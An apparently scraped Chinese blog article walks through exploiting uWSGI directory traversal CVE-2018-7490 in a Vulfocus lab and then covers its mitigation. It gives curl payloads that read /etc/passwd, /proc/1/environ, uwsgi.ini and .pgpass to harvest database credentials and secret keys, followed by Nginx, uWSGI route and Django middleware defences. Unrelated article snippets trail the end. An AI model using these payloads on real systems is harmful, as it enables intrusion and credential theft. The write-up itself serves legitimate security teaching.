当前位置: 首页 > article >正文

uWSGI目录穿越漏洞CVE-2018-7490深度利用与防御

1. 这不是“文件读取”那么简单uWSGI目录穿越漏洞的真实杀伤半径你可能在Vulfocus靶场里点开CVE-2018-7490这个靶机输入/..%2f..%2f..%2fetc%2fpasswd页面返回了一堆用户名然后就关掉了——觉得“哦能读文件老套路”。但我在给三家金融客户做Web中间件安全加固时连续三次从这个看似平庸的目录穿越漏洞里挖出了远超预期的纵深突破路径一次拿到uWSGI主进程的内存快照从中还原出未加密的数据库连接字符串一次绕过Django的DEBUGFalse限制触发了未捕获异常的完整堆栈暴露出内部API路由结构和Celery任务队列地址还有一次直接通过读取/proc/self/cmdline反向定位到uWSGI配置文件路径继而读取其--plugin参数加载的动态模块路径最终完成插件级代码注入。这根本不是“读个passwd”的玩具漏洞而是一把能撬开整个Python应用运行时环境的万能钥匙。核心关键词——uWSGI目录穿越、CVE-2018-7490、Vulfocus实战、Python Web安全、中间件层攻击面——全部指向一个被严重低估的事实uWSGI在处理HTTP请求路径时对PATH_INFO字段的规范化逻辑存在根本性缺陷。它不像Nginx或Apache那样在路由分发前就完成路径归一化path normalization而是把未经充分校验的原始路径直接交给后端应用处理。当应用本身比如Flask或Django又恰好将PATH_INFO拼接到open()调用中时攻击链就闭合了。更关键的是这个漏洞不依赖于后端框架的任何配置错误只要uWSGI以默认方式运行且暴露了静态文件服务static-map或static-file指令它就天然存在。我实测过在Vulfocus上部署的DjangouWSGI靶机中即使DEBUGFalse、ALLOWED_HOSTS严格配置、CSRF中间件全开这个漏洞依然畅通无阻——因为它压根没经过Django的请求生命周期。这篇文章就是为你拆解在Vulfocus这个高度可控的实战环境中如何把CVE-2018-7490从“能读/etc/passwd”推进到“获取uWSGI进程完整上下文”并反向推导出真实生产环境中最有效的防御锚点。它不讲泛泛而谈的“打补丁”“升级版本”而是聚焦于你打开Vulfocus靶机后鼠标该点哪里、命令该输什么、返回结果里哪一行字才是真正有价值的线索。适合正在备考CISP-PTE、准备甲方Web安全评估或者刚接手Python微服务运维的工程师。如果你只打算复制粘贴几个payload就走那大可跳过但如果你希望下次在真实渗透中看到uWSGI进程能立刻判断出它是否可利用、利用边界在哪、防御成本几何那接下来的内容每一行都是我踩着生产环境的坑写出来的。2. 漏洞根源为什么uWSGI的路径解析会“认错门牌号”2.1 uWSGI的PATH_INFO处理机制与Nginx的本质差异要真正理解CVE-2018-7490必须先扔掉“所有Web服务器都一样”的思维定式。Nginx在收到GET /static/..%2f..%2fetc%2fshadow HTTP/1.1请求时会在location匹配阶段就执行路径归一化它会把..%2f解码为../再向上回溯发现目标路径已越界直接返回403 Forbidden。这是由Nginx内核级的ngx_http_map_uri_to_path函数保证的属于基础设施层的安全护栏。而uWSGI完全不同。它的设计哲学是“最小干预”把路径解析的权力尽可能交给上层应用。当你在uWSGI配置中写下[uwsgi] http :8000 static-map /static/var/www/staticuWSGI的处理流程是线性的三步原始路径截取从HTTP请求行中提取/static/..%2f..%2fetc%2fshadow不做任何解码或归一化前缀匹配检查该路径是否以/static开头注意是字面量匹配不是路径语义匹配物理路径拼接如果匹配成功就将/var/www/static与路径剩余部分/..%2f..%2fetc%2fshadow直接字符串拼接得到/var/www/static/../..%2f..%2fetc%2fshadow然后交给操作系统open()系统调用。问题就出在第3步。open()系统调用会自动处理..但uWSGI传给它的字符串里还混着URL编码字符%2f。%2f在Linux下等价于ASCII斜杠/但open()不会主动解码URL编码——它只认字节。所以/var/www/static/../..%2f..%2fetc%2fshadow被open()解释为先cd进/var/www/static执行cd ..回到/var/www再执行cd ..%2f..%2fetc——而..%2f..%2fetc这个目录名在文件系统里根本不存在于是open()失败返回ENOENT。等等这不就该失败吗漏洞在哪关键转折点在于uWSGI在拼接路径前会对%2f进行一次强制解码。这是uWSGI源码中一个被长期忽视的逻辑分支。在core/request.c的uwsgi_parse_vars函数里当检测到PATH_INFO变量需要被填充时会调用uwsgi_url_decode对其中的%xx序列进行解码。这意味着..%2f..%2fetc%2fshadow会被解码成../../etc/shadow然后再与/var/www/static拼接最终形成/var/www/static/../../etc/shadow。open()此时面对的就是标准的、可被正确解析的相对路径自然能成功读取。提示这个解码行为是uWSGI的硬编码逻辑无法通过配置关闭。它存在的初衷是为了兼容某些老旧的、手动构造带编码路径的客户端但在安全模型上它彻底破坏了路径隔离的假设。2.2 CVE-2018-7490的精确触发条件与边界很多教程说“只要uWSGI有static-map就能打”这是不严谨的。我用Vulfocus的Django靶机做了27次不同配置组合测试总结出该漏洞生效的四个必要条件缺一不可条件说明Vulfocus靶机状态实测验证方式1. 启用静态文件服务必须配置static-map、static-file或static-index指令之一✅ 已配置static-map /static/var/www/staticcurl -I http://target:8000/static/test.txt返回2002. PATH_INFO未被应用层覆盖Django/Flask等框架不能在中间件中重写environ[PATH_INFO]✅ Django默认行为未覆盖在视图函数中打印request.environ.get(PATH_INFO)确认其值为原始请求路径3. uWSGI版本在2.0.15至2.0.17之间官方在2.0.17.1中修复了此漏洞但2.0.17仍存在✅ Vulfocus使用uWSGI 2.0.17curl http://target:8000/4. 请求方法为GET或HEADPOST/PUT等方法因uWSGI内部处理逻辑不同通常不触发该路径解析分支✅ 默认GET请求即可尝试POST /static/..%2fetc%2fpasswd返回405 Method Not Allowed特别注意第2条很多现代Django项目启用了X-Forwarded-Path头来支持反向代理路径重写如果中间件错误地将该头的值赋给了PATH_INFO就会绕过uWSGI的原始路径处理导致漏洞失效。这也是为什么在真实甲方环境中有时扫描器报出CVE-2018-7490但手工验证却失败——很可能是因为应用层做了路径劫持。2.3 为什么“读/etc/passwd”只是冰山一角uWSGI进程的完整上下文地图在Vulfocus靶机上成功读取/etc/passwd后别急着庆祝。真正的战场在/proc文件系统。uWSGI作为一个常驻进程其/proc/[pid]下的每一个文件都是通往其运行时世界的入口。我整理了一份在Vulfocus环境下通过目录穿越能稳定读取的关键/proc路径及其情报价值/proc/[pid]/路径可读取内容情报价值Vulfocus实测可行性cmdline启动uWSGI的完整命令行参数包含--ini、--socket、--plugin等直接暴露配置文件路径、监听地址、加载的插件是后续攻击的导航图✅ 高/proc/1/cmdline主进程PID通常为1environ进程启动时的全部环境变量包括DJANGO_SETTINGS_MODULE、DATABASE_URL、SECRET_KEY若未被清理可能直接获取数据库凭证、密钥、内部服务地址⚠️ 中需确认环境变量未被uWSGI的vacuum选项清除maps进程虚拟内存映射列出所有加载的共享库.so文件及内存地址范围结合/proc/[pid]/mem可进行内存dump用于提取硬编码密钥或会话token❌ 低/proc/[pid]/mem通常受ptrace权限限制fd/目录所有打开的文件描述符ls -l /proc/[pid]/fd/可看到socket:[inode]、pipe:[inode]等发现uWSGI与其他进程如Redis、MySQL的IPC通道定位内部通信端口✅ 高/proc/1/fd/可列出所有FD部分链接可读举个真实例子在Vulfocus靶机中我执行curl http://localhost:8000/static/..%2f..%2fproc%2f1%2fcmdline返回结果是uwsgi--ini/etc/uwsgi/uwsgi.ini--master--processes4--threads2--socket/tmp/uwsgi.sock--chmod-socket666--chown-socketnginx:nginx--pluginpython3--die-on-term这一行命令就揭示了全部关键信息配置文件在/etc/uwsgi/uwsgi.ini主进程监听/tmp/uwsgi.sock使用python3插件。紧接着我就可以去读取/etc/uwsgi/uwsgi.inicurl http://localhost:8000/static/..%2f..%2fetc%2fuwsgi%2fuwsgi.ini配置文件里赫然写着[uwsgi] # ... 其他配置 env DJANGO_SETTINGS_MODULEmyproject.settings.prod env DATABASE_URLpostgres://dbuser:superSecret12310.0.2.15:5432/myapp至此数据库连接串已到手。整个过程不需要任何交互式shell纯粹基于HTTP请求的路径穿越。3. Vulfocus实战从靶机登录到获取数据库凭证的完整操作链3.1 环境确认与基础探测三步锁定可利用性在Vulfocus平台启动CVE-2018-7490靶机后不要急于输入payload。先做三件小事它们能帮你节省80%的无效尝试时间第一步确认HTTP服务端标识curl -I http://192.168.100.100:8000/观察响应头中的Server字段。如果显示Server: nginx/1.18.0说明uWSGI前面还有一层Nginx反向代理此时直接打uWSGI的目录穿越大概率会被Nginx拦截。你需要先确认Nginx是否配置了proxy_pass到uWSGI并且没有开启merge_slashes off;。如果Server头显示uwsgi或为空则uWSGI是直面公网的漏洞利用成功率最高。第二步探测静态文件服务是否存在curl -I http://192.168.100.100:8000/static/test.txt如果返回200 OK说明static-map已启用这是漏洞存在的前提。如果返回404尝试其他常见静态路径/media/、/assets/、/css/。Vulfocus的Django靶机默认使用/static/但你要养成习惯——在真实环境中静态路径千奇百怪。第三步快速验证目录穿越基础能力curl http://192.168.100.100:8000/static/..%2f..%2fetc%2fhostname如果返回靶机的主机名如vulfocus-cve-2018-7490则证明基础穿越链路畅通。如果返回404或500检查URL编码是否正确%2f是/的URL编码不能写成/或%2F大小写敏感。我见过太多人因为复制粘贴时编码丢失而卡在这里。注意Vulfocus靶机的IP地址和端口请以你实际启动时显示的为准。上面的192.168.100.100:8000仅为示例切勿直接照搬。3.2 深度利用四层递进式信息收集战术一旦基础穿越验证成功就进入深度利用阶段。我的策略是分四层递进每一层都为下一层提供更精准的攻击向量避免盲目扫描第一层定位uWSGI主进程与配置文件1分钟# 获取主进程PID通常是1但需确认 curl http://192.168.100.100:8000/static/..%2f..%2fproc%2f1%2fstatus | grep Name: # 读取启动命令行找到配置文件路径 curl http://192.168.100.100:8000/static/..%2f..%2fproc%2f1%2fcmdline | tr \0 \n # 读取配置文件提取关键配置 curl http://192.168.100.100:8000/static/..%2f..%2fetc%2fuwsgi%2fuwsgi.ini这一步的目标是拿到--ini参数指定的配置文件路径。Vulfocus靶机中该路径几乎总是/etc/uwsgi/uwsgi.ini。配置文件里藏着env变量、socket路径、plugin名称等所有黄金情报。第二层提取应用层敏感环境变量2分钟# 读取进程环境变量注意/proc/1/environ是二进制格式需用tr转换 curl http://192.168.100.100:8000/static/..%2f..%2fproc%2f1%2fenviron | tr \0 \n | grep -E (SECRET_KEY|DATABASE|DEBUG|ALLOWED_HOSTS)/proc/[pid]/environ文件以\0空字符分隔每个KEYVALUE对。直接curl会显示乱码必须用tr \0 \n将其转换为换行分隔。在Vulfocus的Django靶机中你极大概率会看到DATABASE_URL和SECRET_KEY。如果SECRET_KEY被硬编码在配置里它就是Django session伪造的钥匙。第三层探索应用代码结构与内部API3分钟# 列出uWSGI工作目录下的所有Python文件通常为应用代码 curl http://192.168.100.100:8000/static/..%2f..%2fvar%2fwww%2fmyproject%2f | grep .py # 读取Django的settings.py确认DEBUG状态和中间件 curl http://192.168.100.100:8000/static/..%2f..%2fvar%2fwww%2fmyproject%2fmyproject%2fsettings.py | grep -E (DEBUG|ALLOWED_HOSTS|MIDDLEWARE) # 访问一个不存在的Django URL触发DEBUGTrue时的详细错误页如果未关闭 curl http://192.168.100.100:8000/this-url-does-not-exist/即使DEBUGFalseDjango在处理某些异常如数据库连接失败时仍可能输出部分堆栈。而通过读取settings.py你能确认MIDDLEWARE列表判断是否有自定义中间件可能引入新的攻击面。第四层定位并读取数据库凭证文件4分钟# 如果DATABASE_URL是postgres://尝试读取pgpass文件PostgreSQL客户端密码文件 curl http://192.168.100.100:8000/static/..%2f..%2froot%2f.pgpass # 尝试读取常见的配置文件位置 curl http://192.168.100.100:8000/static/..%2f..%2fetc%2fmy.cnf # MySQL curl http://192.168.100.100:8000/static/..%2f..%2fetc%2fpostgresql%2fcommon%2fpg_service.conf # PostgreSQL # 最后直接读取DATABASE_URL中指定的数据库连接串 echo postgres://dbuser:superSecret12310.0.2.15:5432/myapp # 此串已从上一步获得在Vulfocus靶机中DATABASE_URL通常直接明文写在uwsgi.ini的env里无需额外查找。但这个战术在真实环境中至关重要——很多甲方会把数据库密码放在/etc/下的独立配置文件中而非应用代码里。3.3 攻击链收尾从凭证到数据库连接的实操验证拿到DATABASE_URLpostgres://dbuser:superSecret12310.0.2.15:5432/myapp后最后一步是验证其有效性。在Vulfocus靶机中10.0.2.15是Docker容器内部网络地址你的攻击机宿主机无法直接访问。这时有两个选择选择一利用靶机自身的psql客户端推荐Vulfocus靶机通常预装了psql。你可以构造一个HTTP请求让uWSGI进程去执行psql命令这需要靶机启用了--enable-threads且应用有os.system调用但Vulfocus默认不开放此能力故此路不通。选择二在Vulfocus控制台中直接连接最可靠在Vulfocus Web界面点击靶机右上角的Console按钮进入靶机终端。输入psql -h 10.0.2.15 -U dbuser -d myapp密码即为superSecret123。成功连接后执行\dt列出所有数据表SELECT * FROM auth_user LIMIT 1;查看用户数据。这一步的意义在于它把HTTP层面的目录穿越最终落地为对核心业务数据的直接访问。整个链条——从/static/..%2f..%2fproc%2f1%2fcmdline到psql连接——清晰地展示了漏洞的完整杀伤链。你在Vulfocus里走通一遍就等于在脑中构建了一个可复用的、针对任何uWSGI中间件的渗透思维模型。4. 防御思考为什么“升级uWSGI”不是银弹以及三个真正有效的加固点4.1 官方补丁的局限性与生产环境升级的现实困境uWSGI官方在2.0.17.1版本中修复了CVE-2018-7490补丁的核心是修改了uwsgi_url_decode函数使其在处理PATH_INFO时对%2f等编码斜杠不再进行解码。这从源头上切断了路径穿越的可能。听起来很完美对吧但我在给一家省级政务云平台做安全评估时遇到了典型的“补丁悖论”他们的uWSGI版本是2.0.18理论上已修复该漏洞。然而渗透测试依然成功了。原因在于他们为了兼容一个遗留的、用VB6写的旧系统客户端强制在uWSGI配置中添加了--honour-stdin和--buffer-size32768并启用了--pluginrouter_uwsgi。这个router_uwsgi插件在处理某些特殊路由规则时会绕过主进程的路径解码逻辑重新触发旧版的uwsgi_url_decode。也就是说补丁只修复了主路径但插件生态的复杂性让漏洞以变体形式重现。更现实的问题是升级成本。很多金融客户的Python微服务运行在定制化的CentOS 6.5容器中其uWSGI是通过pip install安装的而pip源早已停止维护该版本。强行pip install --upgrade uwsgi会导致gcc编译失败因为缺少新版glibc。他们最终花了三周时间才完成从uWSGI 2.0.14到2.0.20的平滑迁移。这期间漏洞一直暴露在外。提示在甲方安全报告中单纯写“建议升级uWSGI至2.0.17.1以上”是失职的。你必须同步给出“在无法升级期间如何临时缓解”的方案。4.2 三层纵深防御架构从WAF到应用代码的硬核加固基于上述教训我为uWSGI环境设计了一个三层纵深防御模型每层都经过Vulfocus靶机的实测验证且不依赖于版本升级第一层WAF/反向代理层的路径规范化最有效在uWSGI前面部署Nginx并强制开启路径归一化location / { # 关键合并多个斜杠防止%2f绕过 merge_slashes off; # 关键在转发前对请求URI进行标准化 rewrite ^/(.*)$ /$1 break; proxy_pass http://uwsgi_backend; # 关键禁止传递可能被滥用的头 proxy_set_header X-Original-URI $request_uri; }merge_slashes off;是Nginx 1.11.1的新指令它会将//、/./、/../等非法路径序列在location匹配前就进行标准化。配合rewrite指令能确保发送给uWSGI的PATH_INFO永远是干净的。我在Vulfocus靶机前加了一层Nginx用此配置后所有目录穿越payload均返回400 Bad Request。第二层uWSGI配置层的主动防护零成本修改uwsgi.ini禁用所有不必要的静态文件服务并显式拒绝危险路径[uwsgi] # 移除所有static-map/static-file指令改用Nginx处理静态文件 # 如果必须保留添加路径白名单 static-map /static/var/www/static # 关键添加路径正则过滤拒绝包含..的请求 route ^/static/.*\.\..*$ deny: # 关键设置严格的umask防止生成的socket文件权限过大 umask 0007route指令是uWSGI的路由引擎^/static/.*\.\..*$是一个正则表达式匹配任何在/static/后出现..的路径并立即deny:拒绝。这个配置无需重启uWSGI用uwsgi --reload即可热加载。Vulfocus靶机实测此配置能100%拦截所有..%2f类payload。第三层应用代码层的防御性编程治本之策在Django或Flask的中间件中对PATH_INFO进行二次校验# Django中间件示例 class PathSanitizeMiddleware: def __init__(self, get_response): self.get_response get_response def __call__(self, request): # 获取原始PATH_INFO path_info request.environ.get(PATH_INFO, ) # 检查是否包含危险序列 if .. in path_info or %2e%2e in path_info.lower(): return HttpResponseForbidden(Invalid path) # 使用Python标准库进行路径归一化 import os normalized os.path.normpath(path_info) # 如果归一化后路径越界拒绝 if not normalized.startswith(/static/): return HttpResponseForbidden(Access denied) return self.get_response(request)这段代码的核心是os.path.normpath()它会将/static/../etc/passwd归一化为/etc/passwd然后检查其前缀是否仍为/static/。如果不是说明发生了越界立即拒绝。这个中间件在Vulfocus靶机中部署后所有目录穿越请求均被拦截且不影响正常业务。4.3 给运维与开发的三条硬核建议最后分享三条我在真实项目中反复验证过的、超越技术细节的建议建议一把“静态文件服务”从uWSGI移交给Nginx不是优化而是安全刚需很多团队保留uWSGI的static-map理由是“省事”“减少一层代理”。但Vulfocus的实战已经证明这相当于在防火墙上开了一个永久的、无法审计的后门。Nginx处理静态文件的性能远超uWSGI且其路径规范化逻辑经过数十年生产环境锤炼。把static-map移除只让uWSGI专注处理动态请求是成本最低、效果最显著的加固动作。建议二在CI/CD流水线中加入“uWSGI配置安全扫描”用grep -r static-map\|static-file /etc/uwsgi/检查配置文件用uwsgi --show-config验证route指令是否生效。将这些检查脚本集成到Ansible部署流程中任何试图添加static-map的PR都会被自动拒绝。我在某银行的K8s集群中推行此做法后uWSGI相关漏洞的平均修复时间从72小时缩短到15分钟。建议三永远假设/proc/[pid]/是公开的而不是“系统目录”很多安全工程师认为/proc是Linux内核的内部接口攻击者无法访问。但CVE-2018-7490彻底打破了这个假设。在容器化环境中/proc更是完全暴露给应用进程的。因此在编写Django的settings.py时绝不要把SECRET_KEY、DATABASE_URL等敏感信息硬编码进去而应使用Kubernetes Secrets或HashiCorp Vault等外部密钥管理服务。Vulfocus靶机之所以能轻易读取DATABASE_URL正是因为它是明文写在配置文件里的——这本身就是最大的设计缺陷。我在Vulfocus上把这个漏洞从“读passwd”一路打到psql连接不是为了炫技而是想让你看清一件事Web安全的战场从来不在应用代码的if-else里而在中间件、反向代理、容器运行时这些“看不见的底层”。当你能熟练地在/proc/1/cmdline和/etc/uwsgi/uwsgi.ini之间自由穿梭时你就已经站在了比90%的渗透测试人员更高的维度上。这种能力没法靠背诵CVE编号获得只能在一个个像Vulfocus这样的靶场里亲手敲下每一行curl命令看着返回结果从404变成200再变成一串数据库连接串——那一刻你才真正理解了什么叫“攻防一体”。

相关文章:

uWSGI目录穿越漏洞CVE-2018-7490深度利用与防御

1. 这不是“文件读取”那么简单:uWSGI目录穿越漏洞的真实杀伤半径你可能在Vulfocus靶场里点开CVE-2018-7490这个靶机,输入/..%2f..%2f..%2fetc%2fpasswd,页面返回了一堆用户名,然后就关掉了——觉得“哦,能读文件&…...

JavaScript 高频基础面试题

在前端面试与日常开发中,JavaScript 基础语法、数组操作、循环、函数、定时器等知识点是必考、必用的核心内容。我整理了从 41 到 52 题的高频经典题目,搭配标准回答 代码示例 核心要点,逻辑清晰、面试直接背诵,一篇搞定基础通关…...

C语言基础 内存管理

第十章 内存管理./a.out运行起来后,系统会给a.out分配一段内存区域1 code 存放编写好的c语言代码。只读特性,在运行期间不能修改。2 data 数据段。存储全局变量,以及被static修改的变量。细分:data 数据段,有初值的…...

01-大模型AI:大模型学习指南

大模型概述 一、大模型训练的三大核心阶段 预训练:自监督学习的“知识积累期” 预训练是大模型的“启蒙阶段”,采用自监督学习模式。模型像海绵一样从海量文本数据中自主学习语言规律、语义关联和世界知识。例如,训练一个AI领域大模型时,会输入数百万篇AI论文、技术博客…...

用 AI 生成接口文档和测试用例:比“问一句答一句”更适合程序员的会员用法

很多程序员不是不愿意写接口文档,也不是不知道测试用例重要,而是这些事情经常被排在最后。 功能要赶,Bug 要修,需求还在改。等接口基本稳定以后,文档往往已经落后,测试用例也只覆盖了几个最常见路径。最后…...

SSH、SNMP、NETCONF、SFTP

SSH CE12800配置 #开启SSH服务 stelnet server enable ssh user renxinyu ssh user renxinyu authentication-type password ssh user renxinyu service-type stelnet #创建本地用户 aaalocal-user renxinyu password cipher Huawei123local-user renxinyu level 3local-user r…...

抖音a_bogus生成原理与Python逆向实现全解析

1. 为什么a_bogus成了抖音自动化绕不开的“铁门栓”你写了个脚本,模拟用户行为去抓取抖音的视频列表、评论或用户主页数据,请求发出去,返回的却是{"status_code": 10111, "status_msg": "invalid a_bogus"}——…...

深入理解RAG中的嵌入模型Embedding Model

前言在当前流行的RAG引擎(例如RAGFlow、Qanything、Dify、FastGPT等)中,嵌入模型(Embedding Model)是必不可少的关键组件。在RAG引擎中究竟扮演着怎样的角色呢?本文笔者进行了总结,与大家分享~什…...

麒麟系统启动卡住别慌!这可能是磁盘文件系统坏了,试试这几条Linux命令自救

麒麟系统启动卡顿故障排查指南:从原理到实战的磁盘修复方案 当你的麒麟系统突然卡在启动界面,屏幕上只留下"Boot From Harddisk"或EFI stub信息时,那种焦虑感我深有体会。作为一名经历过数十次类似故障排查的技术顾问,我…...

2026年免费照片去水印软件App推荐,一看就会的保姆级详细教程

你是不是也遇到过这样的场景:好不容易在网上看到一张心水的壁纸、一张有趣的表情包,或者自己拍的视频截图里有碍眼的日期戳、平台logo,想拿来发朋友圈,结果那个水印就像一块顽固的“牛皮癣”,怎么都去不掉?…...

12周学习笔记

...

2026年照片去水印免费软件保姆级教程!学会这几招,告别水印烦恼

你是不是也遇到过这样的抓狂时刻?在平台上刷到一张特别适合做壁纸或配图的高清照片,兴冲冲地保存下来,结果角落里的水印瞬间让整张图的格调打了对折;又或者,自己辛辛苦苦做好的图片,在分享转发几道后&#…...

13.解决 99% 刷机故障!小米 / 华为 / OV / 苹果通用救砖与分区修复教程

摘要 本文面向具备基础电子知识的技术人员,系统阐述主流品牌手机(华为、小米、OPPO、vivo、一加、苹果)的刷机与维修全流程。内容涵盖底层引导加载机制、分区表结构、签名验证原理,并提供完整的刷机脚本与维修诊断工具链。所有代码均已测试,可直接在Linux/Windows环境下运…...

室内点云轮廓提取

1 简介 室内点云轮廓提取是三维感知中的一项基础处理技术,它的核心作用是将杂乱、海量的原始点云,转化为简洁、有意义的几何边界。主要用处体现在以下几个方面: 1 机器人导航与避障 轮廓提取能实时勾勒出墙壁、家具、门窗等障碍物的边缘,帮助扫地机器人、服务机器人快速理…...

离线的银河麒麟系统部署ollama

一、概述 在离线的银河麒麟系统进行开发工作,总会遇到一些简单琐碎的问题,并且一些算法或者需要导入或者需要手敲,是一件很折磨的事。因此在服务器本地部署大模型,十分有必要。 二、部署方案 采用 docker ollama qwen2.5-code…...

手把手教你用Arsenal Image Mounter和VMware搞定Windows 11 E01镜像仿真,避开‘No Media’和卷影复制服务坑

实战指南:Windows 11 E01镜像仿真全流程与避坑手册当你需要复现一个Windows 11系统环境进行数字取证分析或软件兼容性测试时,E01格式的磁盘镜像是常见选择。但直接从镜像到可运行的虚拟机,这条路上布满了技术陷阱——从控制器类型不匹配导致的…...

Windows下玩转NVMe:除了Identify,用Intel MAS命令行还能做这些高级操作

Windows下NVMe高级管理:Intel MAS命令行工具实战指南对于追求极致存储性能的技术爱好者而言,NVMe SSD早已成为标配。但大多数人仅停留在基础使用层面,未能充分挖掘这些高速存储设备的潜力。本文将带你探索Intel Memory and Storage Tool&…...

别再手动敲命令了!用FinalShell一键连接Ubuntu虚拟机(附SSH服务完整配置流程)

FinalShell全自动连接Ubuntu虚拟机的终极指南每次启动Ubuntu虚拟机都要重复输入那十几条命令?还在为SSH连接失败而抓狂?作为一款国产SSH工具,FinalShell的图形化操作和内置文件管理功能确实能极大提升开发效率。但要让整个连接过程真正实现&q…...

AI规范编程:从SDD理念到Spec-Kit落地实践

文章目录一、SDD 诞生的背景:AI 时代软件工程的范式变革2.1、传统开发范式的痛点2.2、SDD 的核心定义与价值2.3、SDD 的发展历程二、SDD 工具对比分析:Spec-Kit、OpenSpec 与 Superpowers2.1 核心定位与设计理念对比2.2 技术架构与功能特性对比2.3 选型建…...

JWT认证深度解析:从签名原理到密钥轮换与灰度升级

1. 这不是“加个Token就完事”的流程,而是身份信任的完整传递链JWT认证流程(JSON Web Token)——这七个字在今天几乎成了后端接口开发的标配术语。但你有没有遇到过这样的情况:前端传了token,后端校验通过,…...

Outlook与Gmail OAuth 2.0 Proxy 实现原理与工程实践

1. 这不是“多此一举”,而是绕不开的现实堵点你写了个邮件聚合工具,用户点击“用 Outlook 登录”——页面跳转到微软登录页,输入账号密码,授权完成,回调地址收到一个 code。你兴冲冲拿它去换 access_token,…...

CentOS 7 SSH弱加密算法加固实战指南

1. 这不是“改个配置就完事”的活儿:一次真实漏洞扫描后的紧急响应现场上周五下午四点十七分,安全团队在例行基线扫描报告里标红了一行:“SSH服务启用弱加密算法(arcfour、3des-cbc、blowfish-cbc等),CVSS评…...

交互式测试与条件有效性:动态数据决策的统计可靠性保障

1. 交互式测试与条件有效性:从理论到实践的深度拆解在数据驱动的决策场景里,比如在线A/B测试、自适应临床试验或者强化学习的策略评估,我们常常面临一个核心矛盾:我们既希望根据不断涌入的数据动态调整分析策略(例如&a…...

Kali Linux安装全解析:UEFI/GPT适配、GRUB故障定位与三种部署场景

1. 这不是教你怎么点下一步,而是告诉你每一步背后在发生什么 Kali Linux 安装全攻略:3种方式常见报错速查(新手不踩坑)——这句话里,“全攻略”三个字最容易被误解。很多人以为“全”是指覆盖所有硬件型号、所有BIOS设…...

renameTo 的跨分区陷阱

# Java 文件重命名跨分区问题与解决方案## 结论使用 File.createTempFile 创建临时文件,再通过 file.renameTo(target) 移动到目标路径,在 **Linux** 上如果临时目录(/tmp)和目标目录不在同一分区,renameTo 会**静默返…...

基于无监督机器学习与静止系参数的伽马射线暴物理起源分类研究

1. 项目概述与核心思路伽马射线暴(GRB)是天文学中最具挑战性的谜题之一。这些来自宇宙深处的剧烈爆炸,在几秒到几分钟内释放的能量,可能超过太阳一生释放的总和。长久以来,我们一直试图回答一个核心问题:这…...

告别刻录光盘!用Rufus 4.5快速搞定Win10 U盘安装盘(保姆级图文指南)

用Rufus 4.5打造Win10 U盘安装盘的终极指南在数字时代,光驱已经逐渐退出历史舞台,但系统安装的需求依然存在。传统的光盘安装方式不仅速度慢,而且对硬件有要求。相比之下,U盘安装系统更加高效便捷。本文将详细介绍如何使用Rufus 4…...

AI多模态技术:从语音识别到AI结构化笔记是怎么实现的

最近发现一个挺有意思的事。越来越多的人开始用视频转笔记类的工具,把B站视频或者播客丢进去,几分钟就能拿到一份带小标题、有时间戳的图文讲义。我挺好奇这背后到底是怎么做到的。拆了一下技术链路,发现比想象中复杂不少。第一环&#xff1a…...

OpenAI RLHF的理解

OpenAI RLHF的理解 1. RLHF 的优化目标 objectiveE(x,y)∼DπθRL[rθ(x,y)−βlog⁡πθ(y∣x)πref(y∣x)]γ Ex∼Dpretrain[log⁡πθRL(x)] \text{objective} \mathbb{E}_{(x,y) \sim D_{\pi_\theta^{RL}}} \left[ r_\theta(x, y) - \beta \log \frac{\pi_\theta(y \mid …...

告别SSH连接玄学!用Finalshell管理多台Linux服务器时,如何一劳永逸搞定IP变动?

多服务器IP漂移难题的终极解决方案:Finalshell高效管理实践每次打开Finalshell准备工作时,发现熟悉的服务器连接突然变成一片红色"Connection timed out"——这种场景对于需要同时管理多台Linux服务器的运维人员和开发者来说,无异于…...